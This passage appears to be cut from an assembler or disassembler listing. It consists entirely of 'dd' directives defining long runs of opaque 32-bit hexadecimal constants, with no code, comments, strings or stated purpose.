4E72E918h dd 160CC3B5h, 0B9DA913h, 0C398661Bh, 0E8E4D588h, 8012595Fh dd 10501DB1h, 3EC3AE2Dh, 61F8A246h, 7EF54DE1h, 0BFCCC7D9h dd 0A851E87h, 122F222h, 0F5C2FE81h, 2D7E64DEh, 0D527A301h dd 3C7681Fh, 0F8C00228h, 0E933061Ch, 0F313104Ah, 6F5B3CFAh dd 0F53B9962h, 7B4EFD5Eh, 5932FF1Eh, 9EEF1453h, 5C293E34h dd 25A55C97h, 0E838DC52h, 912D169Ch, 7FDDF899h, 8109638Bh dd 30060DEDh, 0EE010C54h, 0E961EF31h, 22815646h, 6E2DFDBAh dd 82E03E45h, 0C03879F0h, 493EE23Ah, 0DA9514D1h, 0D4CA0600h dd 2A30270Ah, 8BC863A0h, 0BB0C30B6h, 0EFFAB9B6h, 227ED3D9h dd 16D55397h, 0E4632FDEh, 32B8DEA7h, 485888F2h, 5E1C01Ch dd 0F33F3CEEh, 1A044E04h, 0D681C828h, 0F062012Bh, 73B1C4h dd 290C0BBBh, 16529474h, 16E4F955h, 3FDD468Fh, 0EA0DD82Fh dd 79DCC85Eh, 6890F85Ch, 49DC740Fh, 0AC0D07DCh, 0C122161Ah dd 1766810h, 2684F281h, 94422D2Fh, 3EC21Ah, 564AEAA5h dd 0CA7801BEh, 0F2314788h, 0DCECFF5Eh, 9C5A94A1h, 2ED7090h dd 6B740D37h, 6F4FD01h, 1B0C0C08h, 0CF3E0F61h, 0F443DC5Fh dd 0D3E6B926h, 186FFE21h, 0E053672h, 3063741h, 8D608CEEh dd 3740FE95h, 99409E76h, 962B252h, 411D16D2h, 285F3802h dd 65448D2h, 679810B5h, 6B9DDE97h, 97A71E75h, 0B17F3612h dd 37E45763h, 3431073Ch, 0F1D7F75Fh, 3AFDC5E9h, 0EB8A4DB2h dd 0D27D9296h, 655F023Bh, 0C1A292D5h, 0C05FBED5h, 1AF42B84h dd 570F149Ch, 0BFC07C58h, 0F714D01h, 0F8475B4Fh, 7B16787Eh dd 4AF6691h, 179615C0h, 0DE2EC1FCh, 0B781F7Bh, 317A06BFh dd 62599F08h, 102BCA5Bh, 0F55E27F2h, 0C1F79CA9h, 303CFEEBh dd 8B1ABE1Eh, 6DD85B74h, 7A9BEE80h, 0CA739027h, 12080963h dd 0F09574CFh, 196BD3E9h, 8A8500F8h, 0F62DC327h, 9D447036h dd 0E49747Ch, 4C3B02D5h, 6922C013h, 562D8099h, 0B49571Eh dd 0D393818Ah, 2CE8FD96h, 1307A307h, 0C8DCE21Fh, 0D82017D1h dd 77F29525h, 0F75B4239h, 0FB40D4B5h, 63605168h, 0D53110FDh dd 826EA93h, 4F02E845h, 4072E416h, 2628E15Ch, 35A3044h dd 3ECDC1EAh, 5BC7BCC5h, 0E53C4D81h, 4C56A33Fh, 24494936h dd 0C84F85C1h, 7B680416h, 7F438D3Dh, 0EE4B7F8Ah, 0E67E5269h dd 27683B25h, 0BD4C981Eh, 1B12340Bh, 0E9D0EE9Ah, 0D90E2D08h dd 30C55014h, 20B52287h, 6B60406Ch, 59E09512h, 519F79A7h dd 2CFE4077h, 529D66C7h, 268E329Eh, 9DE04026h, 0B3175235h dd 8EFC9891h, 17C1E35Fh, 39F77FA0h, 571AB4Eh, 2B09BB53h dd 925EE5A0h, 0FCBF2C75h, 0AAFE448Fh, 6C1543A3h, 0F84F7E15h dd 227706EBh, 97AB0CFEh, 7AF9F9F8h, 8BAE18C5h, 37CE0018h dd 0E974EC77h, 886BD40Bh, 0C01E173Bh, 80AED306h, 78FBA10h dd 5820D626h, 0D765E702h, 0C5574338h, 461B38EFh, 347DC4Eh dd 9E975150h, 7FFF216Bh, 0CC70FA67h, 57C2E739h, 0E915DA1Eh dd 78307812h, 81B9B224h, 0D1F9F763h, 6BAD6351h, 7E135071h dd 1F8819E0h, 422858E2h, 0F8305A66h, 5D1B945Eh, 2A02B0EDh dd 0AD114A49h, 5F0840B8h, 292D6E9Bh, 0C527096Ah, 7D6805D4h dd 1CD8BB77h, 304C113Ah, 366A6647h, 59889413h, 0C9F62168h dd 0A0906B01h, 79B562ACh, 0CACD511Ch, 90100805h, 7E286117h dd 42E69502h, 11AF4061h, 71A92D5Ah, 4214B86h, 1874E912h dd 7717D6E3h, 6F299DD6h, 913AC199h, 291EC06Fh, 5B59C674h dd 4C51B504h, 0E9545180h, 9D010928h, 22686AB0h, 3EF96F4Eh dd 40E064CBh, 800FCCFEh, 8B2805F4h, 3CC4F458h, 0D0F0C58Fh dd 4C686621h, 0EA416F1Dh, 0F50888B6h, 0A380E843h, 59EA81ECh dd 7185D7EDh, 0D1FA32E9h, 76693945h, 0AC1E1885h, 1888F7CFh dd 0C680546h, 0FF16A2BCh, 0C153575Eh, 627AF6E5h, 44D0F9C9h dd 0BE305276h, 0FAEB4BB9h, 92CF09FBh, 0D7DD01h, 7B0521E8h dd 0E3D12624h, 25409D4h, 0E035A448h, 31252A1Fh, 0C6C40609h dd 0E109257Ch, 69EF54F6h, 0F2FCAFC3h, 54427804h, 85C60104h dd 89D39060h, 419E5AD3h, 70AA1004h, 5F523A80h, 35D4F9FCh dd 22649F33h, 2DACAF49h, 0AA18685Dh, 6234BA31h, 0CFBBECE7h dd 61669955h, 0B10977Dh, 0C24E7A02h, 70F2F61Bh, 0D482AA15h dd 7DE958FFh, 58246560h, 2746DE35h, 69791071h, 7E61D40Ah dd 835A5CA6h, 0C80D40ABh, 0B0EDD12Ah, 4BCD0E56h, 0F7270572h dd 0AFDD27D5h, 6776E8A0h dd 9030E915h, 49E0B747h, 0D1384ACEh, 420CF64h, 0AFA5FBB9h dd 0CFC1A961h, 0A3404A67h, 0B098A16h, 0CC82935Eh, 4054FF03h dd 161CDDC9h, 0F50147B0h, 9AD52B62h, 4A8C8E80h, 0A38F5459h dd 0AE310543h, 0E818296Fh, 7C158B56h, 55902DBEh, 0B39E1BCFh dd 3E4BD40h, 0DF26580Dh, 23BA306h, 430B0C6Eh, 29480F38h dd 21E88035h, 0B03BD80Dh, 4313BEE7h, 948195CAh, 0B1188008h dd 0E93BDC0Dh, 23EE6111h, 0EA5AD8C6h, 1B97E40h, 0F7BC3CD6h dd 0C73DB14Fh, 84464EE1h, 654F52Fh, 5E800B84h, 0B8083CCEh dd 4B4A27E2h, 0C0B2AE21h, 0CDF621E1h, 0C1FDE705h, 4916C68Ah dd 2446ECF7h, 0FCEE1851h, 1AD798F1h, 0A310688Bh, 0EBB80239h dd 0D87CF177h, 706C0DAh, 84AED305h, 0B221ED35h, 12B792E0h dd 335C954h, 153C9EE1h, 0C3FCCC76h, 61FE08A2h, 54BFC1CFh dd 0EC416079h, 0D4EE251Ch, 33A5021Ah, 0A4C13077h, 0F24114D8h dd 45FA5D01h, 0F3077120h, 5139DCE2h, 0A63A091Ch, 2F3410DDh dd 0B28AB701h, 30FA3059h, 0CC27B330h, 0ED47E28h, 0D400C9C4h dd 0FEC0B652h, 0F604C663h, 5BEEF1D6h, 19175368h, 6014BB28h dd 0A3A632C3h, 4F5C4EDh, 2DFCB850h, 216C811Eh, 90FE0513h dd 0A368511Fh, 0E5977D63h, 63748582h, 21D69AA9h, 25DFEFFEh dd 1297F93h, 6E3531FDh, 0E3FF800Ch, 79B9D7Eh, 0AAE1049Fh dd 85B3E077h, 920B1670h, 0D7BEECDAh, 0FBE4F6ACh, 494AE6CAh dd 33D0775Fh, 0E2845E4Bh, 96B5B2BBh, 41A7640Bh, 91D85704h dd 951995FEh, 398C2B01h, 4FCCF25Fh, 0F6EC3167h, 5EA69FDEh dd 0E612C98Bh, 0F7EB2563h, 0FA50C67Ch, 0A80AD6DAh, 0E871280Dh dd 6D20ED2Eh, 60F28004h, 71F874C5h, 56E50127h, 0D17FE985h dd 29E19CCDh, 0B92F852Ah, 5018D3E4h, 59116804h, 0F8899D71h dd 0E605C352h, 29ED5786h, 0DA5301FAh, 2EC58AF9h, 0D9EC46F1h dd 1A95B85Bh, 448E1CE9h, 0C15627DFh, 0FEAE1ECh, 369C192Ch dd 0E86A927Eh, 95AFE6EFh, 0A199D47Ch, 0DCD84641h, 697BE114h dd 53D189ACh, 0B9CE5754h, 0DE45B5Ch, 2CA9C9E9h, 69586A20h dd 5DB30C2Ch, 90E4D8DBh, 50CEFE85h, 5874B038h, 474B78BCh dd 5961628h, 14D4F50h, 44F105F0h, 5AF4CC55h, 50454AEh dd 2F786F7Ch, 2617182h, 0D75C1901h, 5E7DB920h, 0EC549A25h dd 5160BDFFh, 1895B1A4h, 0A6B9082Fh, 0FAC397DBh, 2A0CFBD9h dd 0EA88A831h, 9896EA72h, 0CA02B8B4h, 0E9382668h, 0B5CEF0F4h dd 76AFA547h, 0D2C8C5DEh, 0E8B45B05h, 4540CE95h, 0E9BD1102h dd 0B3A6563h, 25A14896h, 2D2B5B3Bh, 0EE34C9FEh, 164B90A3h dd 0ABA98D9h, 913EF241h, 7ADFF0DCh, 5DCD5632h, 0B057E909h dd 481D67Bh, 6C4205CEh, 0A67F8032h, 8F9C8625h, 0E52E0B39h dd 0DCD40C1h, 28F6820Ah, 7F0C8742h, 0E9623D65h, 14ECDEDAh dd 0A9C45B5Ch, 0DA590B12h, 35FC9FDBh, 0FB685D82h, 80C15969h dd 77B85F7Ah, 72E4E181h, 0DE6BA125h, 0A7410B25h, 9D801CF5h dd 0E985AAF4h, 4BFA51A6h, 486392E1h, 5607061Fh, 1E3A35FFh dd 0D7D9E844h, 847AB3AFh, 0CCFAF50Ah, 0C4BE8450h, 3038BD1Fh dd 88EDA2DDh, 12900424h, 96FAFCE9h, 0EE0C4C09h, 0F38217Eh dd 481E1701h, 0D0CEE816h, 2C82770Ah, 2390E18h, 0E91A2708h dd 46564BAEh, 3B40004Fh, 0FD87715Ch, 8BBD5E9h, 0D320D93Bh dd 0AF694BF6h, 3CC55D32h, 749FEB20h, 4456E5DCh, 0BB646883h dd 3686FF1h, 0DB752DC6h, 0D69EE497h, 0FA93007Ch, 0E9E660A9h dd 0C4A3D424h, 0E0C0D953h, 0BB535C83h, 4A9B497Dh, 16C7A47Dh dd 0CC75CF31h, 0FD29C7D1h, 0CDF78BF8h, 6004DB63h, 37161E5Bh dd 97114019h, 5F8909E0h, 9C2FD220h, 0B9605AAFh, 6CB70271h dd 3230BF63h, 0C299A73Fh, 0D59A5549h, 8E203658h, 0F0C8B74Fh dd 0A120556Dh, 7329A7Ah, 5468B2BFh, 95A0A52Dh, 74DDBE07h dd 663CB16Ah, 0C3E9130Ah, 1905C240h, 7E464036h, 99E59D59h dd 4C3051AFh, 4B1FE85Ch, 982E3521h, 14FA4704h, 978A1ECh dd 6307C6Bh, 4DE601A0h, 2658242Bh, 20401C79h, 25E9407Bh dd 0AE71962Eh, 21EDE701h, 0CEF4172Dh, 0CEA2B768h, 0F15FEBD4h dd 0D1923FD6h, 6F42B1CEh, 4146E02Ch, 0F0811DE1h, 29CEF92Ch dd 0E234E5D6h, 7DF8ABBh, 0D16975C2h, 0AB7EE931h, 0FCDC287Bh dd 78E3D55Eh, 0C9696B0Eh, 30A75E1Fh, 31BCBB30h, 81601B06h dd 603C4CCBh, 669B0C33h, 2D9040A8h, 1154E0Fh, 68F38054h dd 321B4A71h, 0A6F2DD31h, 0B029CFA4h, 0F191515Ah, 36C3EF07h dd 73BD28Ah, 755E3E05h, 59FCC7C0h, 0EBF14B9Dh, 0D40BFC52h dd 515E993Bh, 0C9A1F2Eh, 49ABAA12h, 0C5A33509h, 2055D031h dd 92D63E2h, 3D895ECAh, 4C76E96h, 171782FAh, 886FD3F1h dd 0D0048F6h, 11F05669h, 33C1D405h, 58825B12h, 139DEA05h dd 0C3141822h, 64084124h, 0D49D569Fh, 0E360F280h, 7DDD95FEh dd 8081068Eh, 59799CFDh, 14CB4E29h, 0CE452803h, 53DF482Dh dd 5C5FC21Fh, 126B2DE1h, 5B06F014h, 0A56C1C28h, 57466281h dd 5C52957Dh, 8580595h, 718C66D1h, 5409502h, 0C6B7DC92h dd 81E77771h, 20F03A5Bh, 4ABE2F68h, 0B151EA90h, 0E0022A4Bh dd 575044E9h, 75367A19h, 10626D4h, 965325B8h, 8360D17Ah dd 58353A1Bh, 6C3E2D02h, 0D95811ECh, 0A102E913h, 0D9E09ACh dd 14F79D4Eh, 1A44C1ACh, 0DE212AA7h, 1123F4FAh, 0DD63A84Bh dd 3FD06805h, 78213CEEh, 4F88D45Ah, 0CC6C5B7Ah, 8D416AB3h dd 0E0A6F13Fh, 1402598h, 665901C8h, 280DB252h, 6E5AD9D0h dd 2C842487h, 7CB09EC2h, 0C2282EFCh, 0BBA46h, 0C360B7B1h dd 0B3353028h, 1261E90Bh, 79ED83C9h, 2F2225E6h, 747C345Ah dd 0B2A4562h, 0C559665Ah, 5B304FC8h, 1584BD55h, 0C875100Ah dd 0E73F69C3h, 0F818E9E0h, 4959F397h, 8D891075h, 0FC6CB778h dd 3BDA8E25h, 9DF1B025h, 0BCD84A3Ah, 0E95567B0h, 0FF1643C4h dd 0C64F0C35h, 46FFB34Bh, 49917DB0h, 305BF905h, 24AF59CEh dd 0B8FA82D2h, 4A665C07h, 5E542541h, 75E935FBh, 0FE955F44h dd 1338502Ch, 3C54D1BDh, 0D52BDB14h, 7F3EBF80h, 0CF3B2D01h dd 29EE0133h, 0F52E9C2h, 828E326Eh, 0FC2D48DEh, 0C4FA5B32h dd 5C17F0F4h, 6F8A2DABh, 1C2F60B7h, 7E3E2400h, 0E938449Bh dd 96012D57h, 69D8FCDAh, 3A3A1C0Dh, 0A7468640h, 5D27D1A5h dd 0F06022A9h, 0CA4E01E9h, 335D61D0h, 2F7A5C19h, 68845930h dd 40B72524h, 190F2C21h, 1A501CC9h, 49E4D0ABh, 4EFFB805h dd 18EA3954h, 62A02ABFh, 846C6D2Fh, 0BA85EBBh, 0B134593Bh dd 3955C06Fh, 5763023Fh, 8A3E0E0Ch, 7D4C5F4Fh, 1AB9EAFAh dd 76FBD98Bh, 4D0612Fh, 68704C01h, 5B70562Fh, 6E684BB5h dd 3CC21072h, 553BAB68h, 0DC271965h, 53E97838h, 8543B948h dd 4CA29B50h, 7490523Fh, 567F76F0h, 9F6997F0h, 2CFE90FDh dd 62C89C5Ch, 7957EC42h, 0EE536591h, 503C7760h, 0F4095E0Bh dd 0A7C95D1Eh, 5369D45Bh, 3455E39Ah, 0E5752038h, 0D527E29Fh dd 0C57CE540h, 7601215Ah, 62D097Fh, 8408A69h, 0B65C9F5Dh dd 0A585266h, 2719470Bh, 64D903FDh, 0F5B17C53h, 990ADC0Eh dd 3560BAA2h, 14F2025h, 0BB07CDB6h, 0DACD14CFh, 3D604B0Bh dd 0BD2D2F7h, 2EA18AADh, 45FC5708h, 5A30AB1Dh, 12A616FEh dd 0B9B2E905h, 3C1A60ECh, 0F848AF34h, 89724AB7h, 0BE5FE0D2h dd 8095E7BAh, 5D01E4CEh, 5F43FAC9h, 57B5F2FBh, 0F57F08h dd 62A16855h, 9D691721h dd 0FF22DB73h, 0B0A5827h, 60C6D9EDh, 0F9E9E82Ch, 59EDF14Eh dd 884020A6h, 302B12B0h, 8D8EA8C7h, 0A13A7713h, 0D3B16A8Bh dd 95C2F114h, 3E27F7E1h, 210DADB7h, 5BB63F57h, 0C5561018h dd 26C1D6AAh, 41D1F75Fh, 0D30406B7h, 1A13E6ACh, 1C005759h dd 432F04A1h, 450909BFh, 0F45CF9ABh, 0BCEF830Ah, 762AF700h dd 4A29A067h, 54F581F8h, 0CF8B05Ah, 4A5968AEh, 61BE55Ch dd 14800C08h, 30F55758h, 9992BED0h, 5535B0A1h, 8C83BFDAh dd 5C4809Eh, 65090BBDh, 2E565F30h, 272DDE0Dh, 9F50E1D9h dd 0B450CE68h, 3D0E6F74h, 7AC71D10h, 0EF4CD08Ah, 75AF9416h dd 0B566FCE4h, 3045FFB0h, 0B94EED5Eh, 65880110h, 39EF1F71h dd 87CA125Dh, 22CDE5FEh, 5C5E312Ah, 7A77562Dh, 664D8061h dd 0FAC4193Ah, 163FE225h, 0DEB4ED45h, 0E7B5E4C9h, 0EF222FA9h dd 0B8001EA2h, 2A932DBh, 13A3051Dh, 0A9593470h, 0FF17982Ch dd 68500B30h, 0AB2012BDh, 0E896F508h, 732EE954h, 19729FCh dd 2D478F5Dh, 39BE851h, 75654460h, 0E910C81Ch, 298D581Fh dd 0BAE84BC8h, 0A56491BDh, 4F8B1F5Ch, 74CC10ABh, 7E2D2F2Ah dd 363AA640h, 0D6C7BD83h, 8CF3A964h, 0C449E60Eh, 7BDCFCD3h dd 0D9B8FD5Eh, 0D4BECB5h, 487BB62Dh, 0FAD6C72Ch, 6FBEAE00h dd 9BA3951h, 0C1CBE730h, 0C0256F5Ch, 73685389h, 0B92991E6h dd 0F3A5EEBAh, 18269C7Dh, 0A3C63E9h, 1AD84E46h, 95A7420Ch dd 2AB20461h, 1FA8384h, 244096F7h, 5BC07E0Dh, 768C4AE7h dd 0B0E57350h, 187863B5h, 38B263FCh, 351E362h, 0C3EBF012h dd 0BCD4332Eh, 18A73B5h, 0CD502FCAh, 13F97470h, 0E3F606E9h dd 458B0574h, 0E1B95868h, 1852F301h, 2A4B0E88h, 0BBC001C7h dd 0C1034906h, 0EADFC11Eh, 2ACA3BF0h, 25899030h, 18254F8Ah dd 959CF834h, 0C3089DF3h, 42816EFh, 0AE5AEBF1h, 6FF5C3A4h dd 7B81B727h, 38269131h, 5697148Fh, 1B28050Dh, 80FB71D8h dd 7830632Bh, 0F4A7A2A1h, 0E925293Dh, 97CCDA18h, 0F82FDA9h dd 78424A16h, 9698177Dh, 97BDA355h, 448E31EBh, 776BA8CEh dd 124DB302h, 88F1016Ah, 0C52C08BDh, 0D90F4A0Bh, 0ED1B3C99h dd 0C3803BF7h, 469D1368h, 54C2F0DFh, 51B7AC75h, 0E26A15D3h dd 626F2787h, 0ED97728h, 0CB89DE70h, 0C5E8EF1Fh, 0C8F1E7D1h dd 0E2247DF3h, 3B021D46h, 622CDD12h, 0A614CF2h, 1960622Dh dd 5F80AAAh, 685F0407h, 0CCCDAE99h, 72D3C600h, 0A83A5E7Bh dd 30BF4CFFh, 2CF093A5h, 0FE042549h, 0B89BFD24h, 0F8E144EBh dd 2CDAE9E5h, 53B116A8h, 1E50ACE9h, 0D7014C03h, 82456694h dd 63471C30h, 0D0310CC1h, 0E6E1C292h, 462C01EAh, 0C53FC9DDh dd 6D7CAAE2h, 0C5CC54E9h, 3A8BB55Fh, 1A961657h, 8C151DE9h dd 0A9F2DF0Eh, 9AFC4EA9h, 3404F9F5h, 0CAEB1F6Bh, 51C325F6h dd 0E2120BE1h, 0AB4E5F4h, 4E6835A4h, 5C3E22E1h, 3716AC7Ch dd 0EC5118F0h, 20009709h, 80E18149h, 0F6756638h, 770BDCFBh dd 0CA210813h, 6300FBE8h, 2DE48A28h, 970D64h, 6852D0FAh dd 0A6654AADh, 8532093Eh, 0AC83871Fh, 0A84161EAh, 0BBD8A745h dd 0E5D43D62h, 0A18EE997h, 0FFE77BD1h, 2CCAD10h, 0A844E0BFh dd 25877C62h, 758C489h, 716420h, 0B4CBE56h, 0EE811F5Dh dd 4E045A91h, 43BA26E9h, 0F72FF149h, 0F8D93D8Bh, 14892F8Eh dd 245CE1h, 4501C34h, 58C50705h, 0CDE3680h, 8F27E916h dd 4F818F45h, 0C6DC0FEAh, 0A537169Eh, 0F63920BEh, 1BB95D04h dd 1FCE148Bh, 4177E908h, 652D5D00h, 0B8CF7F6Fh, 2F6ADC13h dd 466253F3h, 4782B2Fh, 26371258h, 41D2552Bh, 0BF003D25h dd 64275B49h, 0B6E25Dh, 51A6C606h, 11914BAh, 8409EFEh dd 0BBCFB55Fh, 25F2D32Dh, 51483BD2h, 66A6133Eh, 7A2C7396h dd 0CBC52F58h, 16DC6320h, 0E3987C83h, 93285A96h, 539CC77Dh dd 0FC6965EFh, 7E259DFFh, 0C34C4BB1h, 44D15AE2h, 17272DB0h dd 5A4605EAh, 0DF9943CBh, 0EF9CF75Bh, 979FEA3h, 19A1024Ch dd 0F09820F7h, 9832715Fh, 0FFB797Eh, 0FD2917D0h, 0FBAF1279h dd 0FDCF58C3h, 8208044Ah, 8977625Ch, 0FE9677F3h, 0C2E11B7Ah dd 1B9EC5FFh, 0E6E2BD37h, 947A9ED7h, 3455AD1Eh, 84DC9C86h dd 1D3FE968h, 0E6A0980Bh, 2006BA64h, 0B80189ECh, 663D1DF7h dd 98C83A35h, 0BFACFE11h, 8B17C2F2h, 901E9B29h, 1333AACEh dd 0F575DDFBh, 2D0B6E2Eh, 80F0595Bh, 51736935h, 0D527E925h dd 0A4EDFA0Bh, 90527E54h, 947A1369h, 0BB1FC0Ch, 26B85BEh dd 57667E2h, 0D0F2C752h, 570171Dh, 977BFE0Eh, 9ACBA273h dd 0C2D407Dh, 0B5D09A69h, 0F6D1DFCBh, 5B5DC2F3h, 81D9175Ch dd 6EC1680Ah, 31B6148Ch, 4B782861h, 86F26FFCh, 560B8648h dd 0C087D13Bh, 0EEF175C1h, 6617C8h, 890CBC70h, 0D9F75FF9h dd 8217E927h, 0FF3C8B6Bh, 19D7F716h, 0BEB817AFh, 0D9BF6670h dd 4C1C584Dh, 5025B05Bh, 5B14C2B6h, 4B423C83h, 0EE625481h dd 56CBBB04h, 0D0AB6812h, 105FEDCh, 52F67695h, 3523C575h dd 0E9E0D0E0h, 0A09D0AE8h, 2C3B66EBh, 0C3313969h, 0E808D835h dd 74E44ED9h, 5E66E358h, 698C2E7Dh, 5234021h, 1FB806CDh dd 0A074071Ch, 76009EA4h, 29FC0C36h, 9FEECFFEh, 425934F8h dd 6C400190h, 4B1739BFh, 0FA011109h, 4A2DC4E5h, 98E557F1h dd 0FE3E4682h, 0BE90230h, 0C4D7066Ah, 0AC7B4AA0h, 6CFF4A13h dd 0C225E9BCh, 2138DFE7h, 589911F9h, 0D2731362h, 58F627BCh dd 0E8808D71h, 0C128137Eh, 0B580C4EFh, 4B0A329h, 61115266h dd 53A741BEh, 2F72587Eh, 0D4ABA812h, 9321A2B7h, 0F9CDB713h dd 5403D7F5h, 26A7D2BFh, 0D70444A9h, 0C3DCFECDh, 3A584CC6h dd 0E9179CF6h, 9A575B63h, 0E826D2ACh, 84BB177Ah, 0AE28FE37h dd 8C084EB3h, 0CB5E9B6Ch, 2A2EEFCh, 491CF95Dh, 708B2B77h dd 71E0B5FEh, 7148BA25h, 4A007959h, 3540653Ch, 5A799059h dd 0EB9A84EBh, 2C300518h, 2DDD2533h, 11B0B26Bh, 0CDEC7623h dd 1A609001h, 47E94D34h, 3721D824h, 0B5BF1C6Fh, 5952EBEBh dd 72A0E6C0h, 0B77D4874h, 20B6A0B5h, 6490E1Ah, 4D2C7A0Fh dd 0C527FE29h, 5CC3CC43h, 245B4E29h, 42EEC244h, 0D6015D41h dd 6887907Dh, 0B2145D80h, 5E580B81h, 78ECF513h, 53BF4BC7h dd 0C551B071h, 7FCD8B25h, 2DC8AE80h, 94273C60h, 0D9AF777h dd 44A99260h, 0D6ACC282h, 23A100FEh, 0EE89F02Ah, 0D60A5D7Ch dd 425B6B68h, 836FC342h, 20CE29C4h, 0B807E2ACh, 57AB4152h dd 7C0C2BAFh, 2D0281BEh, 0FCEA2BDEh, 2675BA52h, 73F6F77Ch dd 2C25C03h, 30BCAE9h, 261FF6C3h, 0C9D97A5Bh, 0E45C3CF9h dd 0AB0413FBh, 0B2E3CC9Ch, 0C7882648h, 0E0501266h, 0EB904127h dd 370D620Eh, 81E1A97Ch, 3303C9CEh, 8240F5CAh, 884C2F35h dd 6264106Eh, 5B6BEC7Ch, 68E29C82h, 665F2F2Fh, 6FCBB771h dd 0C902F8F3h, 653DD1C1h, 0A93F6248h, 0EFFFD695h, 228F31A5h dd 25034DC0h, 0F1599354h, 4F781389h, 0E3500C16h, 0F1E81083h dd 0D74B9317h, 0ACBD559Ch, 0FA78C525h, 4AF83304h, 91BF5700h dd 38C7675Dh, 823907EFh, 57EB68CCh, 788D37C9h, 0F2B0196Dh dd 323E69BAh, 8955A5E6h, 31F7B004h, 994ABA7Ch, 6F3F0871h dd 278C511Dh, 0C9540D0Ah, 0DA7E0DD6h, 52241484h, 4A22DEEEh dd 1ED8A6B3h, 584B0568h, 0FBA415B9h, 5F27A5B6h, 56602E54h dd 0F9CBE953h, 80BFF26Eh, 0B93A4C68h, 22D39526h, 0E920ED44h dd 20B5FD1Dh, 0F463B77Ch dd 4CBDF627h, 784CAACh, 0ABD0EEDBh, 905169C9h, 93D37CBFh dd 1AE303ACh, 5AE94B70h, 0C6557CA4h, 9C4DA1BAh, 0DC843C1Ah dd 47FA22Eh, 5AE25405h, 0B1582D88h, 0C0C1CACEh, 40D008E8h dd 2F2DCB28h, 0CCA1804Bh, 2E2CEB54h, 185FA09h, 0B35669EAh dd 95862B07h, 72300A24h, 0A4AD31CFh, 3E500CEh, 0FB0D1E4Fh dd 2D204D02h, 0EBF049E9h, 0D9385FAAh, 8EE22ACEh, 0E942ECC8h dd 9C3E4A28h, 0E93DC401h, 80C2E083h, 1701C23Ch, 3E20746Dh dd 7BBA3639h, 0C82D27E7h, 281BA5D7h, 0E9544F93h, 0C82B118Bh dd 0DF6042B7h, 7809BD28h, 813501BEh, 0C5E48EDh, 0F7EF403Ch dd 3209BC25h, 9A12CEE9h, 0B03C6001h, 687C3C44h, 0C15DEB82h dd 0F84107E3h, 2286F8CFh, 5E2D4E90h, 76E90915h, 1B0820D4h dd 0D587595Bh, 0FD0944FAh, 0E07586E2h, 0E0F2C3FBh, 41B0B8D3h dd 57F22AD0h, 0A96E737Ah, 997CD1F5h, 0C0494E74h, 4C1AF17Bh dd 0E943391Ch, 0F9B7A899h, 84D7F978h, 4A1BBD8Bh, 3A7505Dh dd 0B9D9F6A8h, 3CA7AD71h, 793E3C74h, 3409194Fh, 39FDF901h dd 1634F1A4h, 0A733EC91h, 0A29BA9FFh, 0C0E68186h, 0B61AF4ACh dd 0BF8F0A7Bh, 4792F26h, 2E1275A6h, 6FFA9460h, 0E9453B9Eh dd 0A7A0CCA0h, 40803607h, 0EFF0A05h, 26CC2C04h, 63270980h dd 0E500D5FBh, 0E96A6B32h, 0BCFB4B91h, 7B49DE94h, 75331AD3h dd 6327C4CEh, 0C3D2F9BFh, 0DDD34F05h, 5D2EC3C4h, 90D3FCE5h dd 32600C4h, 0C32D183Bh, 1215003Eh, 0AC41CD05h, 0EC26E90Bh dd 4EEF67AAh, 0DF8EB6CFh, 1D9CEE93h, 89F049E9h, 25DC5825h dd 6408616h, 1BF28142h, 5EE31B17h, 0D4CD1C01h, 74DAEAD4h dd 0C457E916h, 0EA3EA65h, 51F14D7Ch, 2F9E6809h, 534B425Bh dd 791708DFh, 0EBCCFE0Eh, 992975F6h, 0E269405Fh, 5ED50932h dd 6FD5148Bh, 415C2F51h, 1667F6C3h, 0A31C8891h, 0E205117Fh dd 206ED02h, 18FE516Dh, 7FE82916h, 0D9A93F89h, 7A4E7740h dd 0FD7BBB80h, 863E95F1h, 520FA40Fh, 874DBC45h, 3ACB108Eh dd 0C045F548h, 289C31Fh, 8E9A8035h, 25098D0Eh, 0B07D5595h dd 4AE95D5Bh, 0F0B28725h, 0EA6AD68h, 0BF91724Fh, 59039141h dd 2D384A0Eh, 89016B49h, 0A0D7F47Dh, 0FE5E4B0Bh, 4FF6DE38h dd 84FAB8E1h, 0F5E24025h, 5627284Ch, 0DC344F97h, 1FD898AFh dd 578C5E4Eh, 22B1D2D9h, 0B95C7EC3h, 0C4DE8B51h, 0C5FB9CB8h dd 101FC1CDh, 2DF58350h, 0EF444E86h, 28AA2B3h, 6F1F59Bh dd 445E5F30h, 0E1502F3Fh, 75D2886Ch, 4C496DF9h, 0C27025E1h dd 80CAD805h, 0FB7ADA7Ch, 0D059682Dh, 928908Fh, 515B2033h dd 75160377h, 0C37D0272h, 7ABC6319h, 302AA440h, 0D17FFF00h dd 0B5684BE3h, 34989578h, 4082BE0Ah, 977EA58Ah, 978C1C59h dd 0FEEA87E3h, 0A1CB92B6h, 0A28FA4Bh, 1868570Bh, 8A257D7Ah dd 6FC9D6F2h, 0BA1D6025h, 0EA4B788Ah, 635A2049h, 0D00CC9FBh dd 9EC2E234h, 0C9914202h, 0E08D275h, 549D94C6h, 38640C90h dd 54E87862h, 2428C7A6h, 0A8E2CF0h, 0A7D90213h, 5D4B41DEh dd 6FF6A83Ah, 3F7E1C2h, 0C7732D58h, 25EB0D07h, 0F630645Dh dd 1246180Fh, 0B3A9FEE9h, 501A255Bh, 3547BD94h, 84E64463h dd 0A97E2849h, 0C682D572h, 985F3EBAh, 6080E9E8h, 59C761B4h dd 39F3A2B0h, 3F570214h, 75010B4Ah, 0CA01FF9h, 0E9FD5F61h dd 69948EDBh, 9A35D5E0h, 26188055h, 0B0B87482h, 403C4D27h dd 1C9BE7A5h, 0C16C8A56h, 7152FEBEh, 5EF1205Fh, 0DFE8D7E4h dd 0C8C7833Ch, 4E5101F9h, 0FB214C6Eh, 68DA0D21h, 24712483h dd 3F38401Ah, 0B971BD2Dh, 86065797h, 2B2D45FAh, 885165Bh dd 8B2451C3h, 50AD052Fh, 1A1003B3h, 1ABE7DECh, 54270A82h dd 0CA5F4203h, 0AF83FD57h, 0B7C7E3C9h, 0A71EDCC0h, 8E247B5Ah dd 0BC054DF2h, 80416A4Fh, 0B31294E6h, 9DE63C75h, 0FC81E22Eh dd 9ED1593Eh, 0ADD5DE58h, 28E51D2Dh, 1E813A8Bh, 535FFB3Bh dd 6DA03EBBh, 8AB5A01Fh, 41492E3Dh, 0C2EB41D3h, 82B14557h dd 6E77697Bh, 0C03E3510h, 7C79FA0Ah, 4D848C6Dh, 0C427FCDCh dd 5D0B0FE8h, 9A3805F5h, 